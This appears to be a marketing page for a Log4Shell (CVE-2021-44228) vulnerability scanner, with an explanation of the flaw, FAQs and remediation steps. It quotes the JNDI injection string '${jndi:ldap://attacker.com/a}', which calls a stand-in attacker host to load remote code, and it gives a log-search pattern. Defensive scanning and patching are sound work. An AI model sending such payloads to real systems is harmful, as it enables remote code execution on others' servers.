Log4j Injection (Log4Shell) Scanner
Tests for Log4j JNDI injection vulnerability (CVE-2021-44228).
What is Log4j Injection (Log4Shell)?
Log4j Injection (Log4Shell, CVE-2021-44228) is a critical vulnerability in Apache Log4j 2.x that allows remote code execution through JNDI lookup injection. When Log4j logs a string containing ${jndi:ldap://attacker.com/a}, it performs a lookup that can load and execute remote code. This affected millions of applications.
Why is This Important?
Log4Shell is considered one of the most severe vulnerabilities ever discovered due to Log4j's ubiquity in Java applications. It affected virtually every major software vendor, was trivially exploitable, and allowed unauthenticated remote code execution. Exploitation was observed within hours of disclosure.
How It Works
1. Input Discovery
Maps all user input points including forms, headers, cookies, and API parameters for injection testing.
2. Injection Testing
Executes sophisticated injection payloads designed to bypass filters and WAFs while detecting vulnerabilities.
3. Exploitation Validation
Confirms vulnerabilities through safe exploitation, providing proof-of-concept and impact assessment.
Key Capabilities
Advanced injection detection engine combining signature-based and AI-powered analysis for comprehensive coverage.
- Multi-vector injection testing across all input types
- WAF and filter bypass techniques built-in
- Database-specific payload optimization
- Out-of-band detection for blind vulnerabilities
- Automated proof-of-concept generation
Frequently Asked Questions
Why was Log4Shell so severe?
Log4j is embedded in countless applications, libraries, and products. The vulnerability required no authentication, worked through any logged input (HTTP headers, form fields, etc.), provided immediate RCE, and affected both direct dependencies and transitive ones hidden deep in dependency trees.
How does the JNDI lookup attack work?
Log4j's message lookup feature evaluated ${...} expressions in log messages. JNDI lookups (${jndi:ldap://...}) caused Log4j to connect to attacker-controlled servers that returned malicious Java objects. These objects executed code when deserialized.
Is my application still vulnerable?
You're vulnerable if using Log4j 2.0-2.14.1 without mitigations. Update to Log4j 2.17.1+ immediately. Check all dependencies for bundled Log4j (uber JARs, containers). Cloud services may have patched, but verify. WAF rules provide limited protection.
How do I fully remediate Log4Shell?
Update to Log4j 2.17.1 or later, scan all dependencies including transitive ones, check containerized applications, review logs for exploitation attempts (${jndi:ldap), implement egress filtering, and consider Java Agent solutions for defense in depth.
Related Scanners
Ready to secure your application?
Start testing for log4j injection (log4shell) vulnerabilities today.
Get Started Free